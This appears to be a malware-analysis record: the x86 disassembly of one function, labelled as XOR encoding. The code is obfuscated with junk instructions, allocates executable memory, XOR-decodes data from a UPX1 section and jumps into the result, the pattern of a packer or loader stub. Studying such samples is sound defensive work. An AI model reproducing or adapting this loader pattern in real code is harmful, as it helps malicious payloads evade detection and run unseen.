Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8748ac19
add edi, 0xf72c1dfd
sub edi, eax
add edi, edi
popal
or edi, eax
sub eax, 0xdfcca4b9
sub eax, edi
mov edx, 0
mov esi, eax
not ecx
and ecx, ecx
mov edi, esi
mov ecx, 0xc99f36a8
inc ecx
or ecx, ecx
mov eax, edi
add ecx, 0xdb50fe3c
or ebx, ecx
mov ecx, ebx
inc edx
dec ebx
inc ebx
or ecx, ecx
cmp edx, 0x1001128
jne 0xa789cc
add ecx, 0xc43dc867
not ecx
sub ebx, ecx
not edi
inc eax
mov ecx, 0xa78796
sub edi, 0x816860ab
add eax, 0x1f57a2ee
add edi, esi
mov edx, 0xa7898a
not eax
sub edi, esi
mov ebx, dword [ecx]
or eax, esi
mov edi, esi
and ebx, 0xff
add esi, 0x8bb2af52
add esi, 0x6dc5cf0d
mov esi, edi
xor dword [edx], ebx
and esi, edi
inc edi
mov eax, edi
inc edx
not eax
sub edi, 0xaa0b7622
add esi, 0x5420e93f
inc ecx
sub esi, eax
or esi, eax
add esi, edi
cmp edx, entry0
jl 0xa78a22
inc esi
mov esi, 0x2d2f8920
add eax, 0xfd945122
add edi, 0x528f0f2c
dec edi
not eax
add edi, ecx
mov esi, ebx
add ebx, esi
mov edx, 0xa7898e
sub ebx, 0x37c8c338
sub ebx, ecx
mov edx, dword [edx]
or edi, ebx
or ebx, esi
or ecx, ebx
mov edx, dword [edx]
sub esi, 0x81e305de
and ebx, ebx
sub esp, 4
mov dword [esp], edx
mov edi, ecx
sub esi, 0xfac43b79
dec edi
mov edx, 0xa7898a
add ecx, 1
mov ecx, 0xf4396a70
mov edx, dword [edx]
or ecx, esi
and edi, edi
not edi
mov edx, dword [edx]
not edi
inc edi
push 0xa78992
dec ebx
mov ebx, edi
dec ebx
call edx
dec esi
not esi
pop edx
sub ecx, 0x5179301e
mov ecx, ebx
mov edi, ecx
push 0xa7899f
mov ebx, 0xc0c6c00c
not ecx
add edi, 0xdaeafcab
push eax
add esi, esi
not edi
call edx
add ecx, 0xc5accd7f
add esi, 0x3a73cf08
push 0x40
sub ecx, 0xce6d8795
add edi, 0x8de88118
sub esi, edi
sub esp, 4
mov dword [esp], 0x3000
sub ecx, 0xf695c138
add esi, 0x44df736b
dec ebx
push 0x200008b8
or ecx, edi
or ecx, ebx
mov ecx, 0xc22c348b
push 0
dec ecx
mov esi, 0x8358cdb8
call eax
and ecx, ecx
add esi, edi
add eax, 0x20000805
add ecx, 0x20c9d678
mov edi, 0xae07a0c5
mov edx, 0x868b3af2
inc edi
mov ecx, esi
mov dword [eax], edx
mov esi, 0xa20a8c6e
mov ecx, ebx
mov edi, 0xfdd0c21e
mov edx, dword [eax]
and ecx, esi
add ecx, 0xa78ca0b
cmp edx, 0x868b3af2
je 0xa78b92
mov ebx, 0
mov al, byte [ebx]
not ecx
sub edi, 0x43937b6d
inc ebx
mov ecx, ebx
or edi, eax
add edi, eax
sub edi, 0xf08c31a8
mov ecx, section.UPX1
mov edi, eax
sub eax, 0x3956d3af
mov ebx, 0xa78795
dec edi
mov eax, 0xe021d03e
mov esi, 0
add edi, eax
mov edi, eax
sub eax, 0x7bd06ae3
mov edx, 0xa78796
sub edi, eax
add edi, eax
lea edx, [edx + esi]
dec edi
add eax, 0x6335fefe
add edi, 0x2c37e981
mov edx, dword [edx]
inc eax
sub edi, 0x38c25f38
add eax, 0x3897a0c
and edx, 0xff
add edi, 0xd9572601
not eax
mov edi, eax
inc esi
sub eax, edi
add edi, eax
cmp esi, 0x1f4
jne 0xa78c18
mov esi, 0
dec edi
sub edi, 1
add edi, 0xe9ed1c2b
sub eax, 1
inc edi
xor dword [ecx], edx
add edi, 0xfc30362c
or eax, eax
add ecx, 2
dec eax
dec eax
cmp ecx, ebx
jl 0xa78bce
mov edi, eax
add edi, edi
and eax, edi
or edi, eax
mov edx, section.UPX1
sub ebx, ecx
mov ecx, 0x86a1cc4a
mov esi, section.UPX1
dec ebx
add ebx, ebx
mov edi, 0xa78795
sub ebx, ecx
inc ecx
mov ecx, ebx
mov eax, 0
and ecx, ebx
mov ebx, 0x13043267
mov al, byte [esi]
and ebx, ecx
add ecx, 0x1a6f571b
mov ebx, ecx
mov byte [edx], al
or ebx, ecx
add ebx, 1
add edx, 1
and ecx, ebx
add ecx, 1
dec ecx
add esi, 2
inc ecx
and ebx, ebx
cmp esi, edi
jle 0xa78c78
dec ebx
mov ecx, ebx
add eax, 0x1b6d5327
dec edi
and edi, eax
push 0x8dc6a0
mov eax, 0x9cd0c641
and eax, eax
ret